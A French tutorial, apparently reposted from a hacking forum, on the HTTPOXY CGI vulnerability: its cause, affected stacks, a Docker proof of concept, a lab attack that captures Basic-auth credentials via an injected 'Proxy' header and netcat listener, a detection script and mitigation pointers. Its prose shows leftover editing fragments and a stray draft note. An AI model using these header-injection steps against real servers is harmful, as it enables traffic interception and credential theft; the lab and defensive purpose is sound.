HTTPOXY la vieille faille refait surface sous les feux des projecteur
Oubliée pendant près de 10 ans, HTTPOXY refait surface en 2013 et 2015 sur Apache et nginx.
Mais ce nest que depuis début juillet que la faille est dévoilée au grand public accompagnée de son logo et son site web.
La faille HTTPOXY provient dun conflit de nom entre deux variables denvironnement (système et CGI). Elle permet selon certaines conditions précises, dintercepter des données et de réaliser une attaque Man-In-The-Middle.
I. Mise en contexte
CGI (« Common Gateway Interface ») est un standard conçu pour générer des pages web dynamiques. Pour se faire, CGI définit une interface permettant à des serveurs web HTTP (Apache, nginx, etc.) dentrer en interface de communiquer avec des scripts exécutables (ou fichiers binaires) en vue de générer lesdites le contenu dune page de manière dynamique, en fonction des différents paramètres (paramètres HTTP, mais également dautres paramètres « techniques » comme lorigine de la requête )pages.
Historiquement développé en Perl, CGI est indépendant de tout langage de développement : les scripts CGI peuvent être écrit en PHP, Python, Ruby, Perl etc.
Les environnement CGI vulnérables
La vulnérabilité à la faille dépend de lenvironnement CGI, de la bibliothèque u client HTTP utilisée pour recevoir et envoyer les requêtes, et par conséquent du langage dans lequel ils elles sont disponibles.
CGI :
- Vulnérable sous PHP (en utilisant php-fpm ou mod_php, et le client Guzzle 4+ ou Artax)
- Vulnérable sous Python (CGI-handler ou mod_cgi, et le client requests)
- Vulnérable sous Go (net/httpd/cgi ou mod_cgi, et le client net/http)
FastCGI :
- Vulnérable sous PHP (HHVM)
- Non vulnérable sous Python (requests)
- Non vulnérable sous Go (net/http/fcgi)
WSGI : Non vulnérable
Citation:
Note : Les langages web Microsoft (ex : ASP.net) ne sont pas vulnérables. Sauf si vous utilisez des modules PHP et des librairies tierces
II Détail de la vulnérabilité HTTPOXY
La vulnérabilité provient dun conflit de nom entre deux variables denvironnement (variable HTTP/CGI et variable système)au sein de CGI, et notamment celles liées aux serveurs proxy. En spécifiant une variable dans la requête HTTP, il est possible de forcer le système à écraser le contenu de la variable denvironnement système. ; permettant alors à un attaquant dintercepter de rediriger une partie du trafic ou de réaliser une attaque de type « Man-in-The-Middle ».
Pour expliquer la vulnérabilité, nous allons présenter deux types de variables denvironnement.
2.1 Les variables denvironnement système
Il existe une variable denvironnement interne au système appelé HTTP_PROXY utilisée afin de communiquer définir les paramètres de proxy HTTP (ou HTTPS) à une application. Ces paramètres seront utilisés par des bibliothèques, applications, modules, scripts, y compris CGI, afin de configurer diriger correctement le trafic HTTP sortant vers le bon point de sortie.
2.2 Les variables denvironnement CGI (issues des requêtes HTTP)
Un autre type de variable denvironnement appelée « Request Meta-Variables » « Protocol-Specific Meta-Variables » sera généré par le serveur HTTP pour définir lenvironnement dexécution du script CGI. Par exemple, lorsquune requête est envoyée au serveur HTTP, celui-ci lanalyse, puis stocke certaines informations dans des variables à destination du script CGI. Il lui transmettra par exemple le type de contenu, le port TCP, la méthode de requêtes (GET ou POST) etc. Ces variables sont respectivement intitulées :
- CONTENT_TYPE
- SERVER_PORT
- REQUEST_METHOD
Dautres informations arbitraires issues de requêtes peuvent être transmises au script CGI. Celle-ci sont définir dans la RFC CGI sous la forme dune sous-classe baptisée « Protocol-Specific Meta-Variables ». Ainsi
Dautres informations issues de requêtes peuvent être transmises au script CGI, et notamment celles contenues, lensemble dans lentête des requêtes HTTP reçu, et ne correspondant pas aux entêtes HTTP classiques sont transmis sous cette forme : p, par exemple le paramètre « cookie ».
La correspondance de lentête avec les variables denvironnement suit une procédure standard :
- le nom de lentête HTTP est converti en majuscule
- « - » est remplacé par « _ »
- le tout est préfixé par « HTTP_ »
De ce fait notre en-tête « cookie » sera converti en : « HTTP_COOKIE »
Avec lentête « proxy », cela donnera une variable denvironnement de type Protocol-Specific Meta-Variables : « HTTP_PROXY ».
En résumé, nous avons donc deux variables denvironnement du portant le même nom :
une interne au système « HTTP_PROXY ». Spécifiant le serveur proxy à utiliser pour les flux HTTP sortants.
- une de type Protocol-Specific Meta-Variables « HTTP_PROXY » s. Spécifiant le serveur proxy quutilisé par le client pour utilise lutilisateur ayant effectué laenvoyer sa requête au serveur.
Ces deux variables, complètement différentes, de par leur même nom, rentrent en conflit.
2.3 Le dysfonctionnement : conflit de nom « HTTP_PROXY ».
Le problème réside dans le fait que CGI ne distingue pas les deux types de variables.
Un script CGI (ou un module, ou bibliothèque) lit la variable denvironnement « HTTP_PROXY » (celle de type Protocol-Specific Meta-Variables) et suppose quelle contient les paramètres de Proxy HTTP « système ». Cette valeur mal interprétée changera alors la manière dont les nouvelles requêtes HTTP seront traitées par le script CGI pour le processus en cours.
2.4 Conséquences
Concrètement, un utilisateur malveillant sera en mesure denvoyer au script CGI vulnérable une requête HTTP dont lentête contiendra une serveur proxy sous le contrôle de lattaquant.
Dans les faits :
- Le serveur HTTP reçoit la requête, exécute la procédure habituelle
- Stocke le proxy dans la variable denvironnement (meta-variable) « HTTP_PROXY »
- Appelle le script CGI. Celui-ci confond avec la variable système et se configure automatiquement afin dutiliser le serveur proxy spécifié.
- Et pour finir, si le script effectue des requêtes HTTP, alors ces requêtes transiteront par le serveur proxy de lattaquant qui sera alors en mesure dintercepter le trafic ou de réaliser une attaque de type « Man-in-The-Middle ».
III- Exploitation de la vulnérabilité
Lexploitation de la vulnérabilité est très simple.
Dans un premier temps nous allons reproduire le POC disponible sur le Gitbug dHTTPoxy.
Ensuite nous mettrons en uvre un POC plus avancé, en situation semi-réelle, où nous récupérerons un mot de passe et des informations potentiellement sensibles.
3.1) POC PHP issu dHTTPOXY.ORG
0. Monter + lancer le dockerIl suffit de télécharger, créer limage Docker et lancer linstance
Code:
git clone http://ift.tt/2aF1PSs
cd php-fpm-httpoxy-poc/
docker build -t fpm-guzzle-proxy .
docker run -d -p 80:80 --name fpm-test-instance fpm-guzzle-proxy
Code:
nc -l -p 12345
Code:
Ifconfig
3. Jenvoie ma requête forgée afin de déclencher la vulnérabilité
Code:
curl -H 'Proxy: 172.16.10.170:12345/' http://127.0.0.1/
Code:
nc -l -p 12345
Code:
curl -H 'Proxy: 172.16.10.170:12345/' http://127.0.0.1/
3.2) Attaque semi-réaliste
Nous allons ici réaliser un POC sur une architecture web simpliste contenant une machine hébergeant un site, et une seconde machine, demandant une authentification et hébergeant un potentiel micro service tiers et différentes ressources.
Lorsque nous effectuons une requête vers le site vitrine, celui va sauthentifier sur le micro service distant et récupérer des ressources.
Notre but ici est dexploiter HTTPOXY en injectant notre proxy dans le site vitrine, une fois ceci fait nous allons alors intercepter la requête queffectuera le site vitrine au micro service. Ce qui nous permettra ainsi de récupérer lidentifiant et mot de passe utilisé.
Notre infrastructure est en place sur 3 containers Docker, lun étant notre proxy attaquant, les deux autres sont les serveurs.
Code:
docker ps a
Site vitrine :
Le site vitrine est basé sur le dockerfile du POC PHP mis à disposition par HTTPOXY.org
Il repose sur un index.php qui envoie une requête au microservice au travers dun environnement CGI vulnérable (Guzzle).
Voilà lindex.php :
Code PHP:
<?php
/*
* Guzzle Proxy Configuration by Remote User
*/
require 'vendor/autoload.php';
$client = new GuzzleHttp\Client();
$client->request('GET', 'http://ift.tt/2aF1izJ', [
'auth' => ['admin', 'secret']
]);
echo "Request sent\n";
Micro service :
Se base sur un serveur web léger utilisant Flask (Python) et attend une authentification HTTP. Il renvoi en fonction page-secret.html (« access granted ») ou error.html si lidentifiant est mauvais.
Code PHP:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from functools import wraps
from flask import Flask
from flask import request
from flask import Response
from flask import render_template
app = Flask(__name__)
def check_auth(username, password):
"""This function is called to check if a username /
password combination is valid.
"""
return username == 'admin' and password == 'secret'
def authenticate():
"""Sends a 401 response that enables basic auth"""
return Response(
'Could not verify your access level for that URL.\n'
'You have to login with proper credentials', 401,
{'WWW-Authenticate': 'Basic realm="Login Required"'})
def error():
"""Sends a 401 response that enables basic auth"""
return render_template('error.html')
def good():
"""Sends a 401 response that enables basic auth"""
return render_template('error.html')
def requires_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth = request.authorization
if not auth:
return authenticate()
if auth and not check_auth(auth.username, auth.password):
return error()
return f(*args, **kwargs)
return decorated
@app.route('/secret-page')
@requires_auth
def secret_page():
return render_template("secret_page.html")
if __name__ == '__main__':
app.run(debug=True,host='0.0.0.0')
Notre infrastructure étant en place, mon proxy dattaque aussi, procédons à lexploitation.
1. Jenvoie ma requête contenant mon serveur proxy dattaque dans lentête HTTP:
Code:
curl H Proxy: 172.17.0.4 :8080/ 127.0.0.1
2. Nous basculons sur le serveur proxy afin dobserver les requêtes qui ont transité.
On aperçoit la requête effectuée par le site vers le micro service. Le champ « Authorization » nous intéresse ici, car il contient lidentifiant et le mot de passe encodé en base 64.
Avant de le décoder, nous allons vérifier quil est correct. Pour ceci nous allons simplement regarder la réponse que le micro service nous a donné. On imagine quelque chose comme « correct » pour des identifiants bons, et « incorrect » pour le cas inverse.
Le micro service nous a répondu et affiche une page contenant « access granted ». Par conséquent le couple identifiant et mot de passe que le site a transmis est correct. Nous pouvons le décoder pour récupérer sa valeur.
Il nous suffit de passer la valeur en base64 dans un outil de décodage, voilà le résultat :
Nous avons récupéré le couple identifiant:mot de passe -> admin:secret.
Qui correspond bien au mot de passe utilisé par mon application, bravo.
Mise en place schéma dattaque vidéo (via une vraie appli) voir avec Charles, ex
eslastic search, noDB, mais bcp de conditions requises pour que ce soit vulnérable
IV Savoir si son système est vulnérable
Afin de diagnostiquer la vulnérabilité, installez temporairement le script CGI qui suit, et rendez-le exécutable.
Test.cgi
Code:
#!/bin/sh
echo "Content-Type:text/plain"
echo ""
echo "HTTP_PROXY='$HTTP_PROXY'"
Code:
curl -H Proxy: AFFECTED http://my-server-name/cgi-bin/test.cgi
Code:
HTTP_PROXY="
Code:
HTTP_PROXY='AFFECTED'
V Se protéger
Pour vous protéger de la vulnérabilité, il suffit de mettre à jour votre serveur ainsi que dappliquer les solutions de contournement ci-dessous.
Il existe aussi des solutions de contournement, disponibles sur le site http://ift.tt/2a3dB5t
Sources :
from Hackademics : Forum de hacking hackers white hat cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/2b5Y3hi
via IFTTT
Aucun commentaire:
Enregistrer un commentaire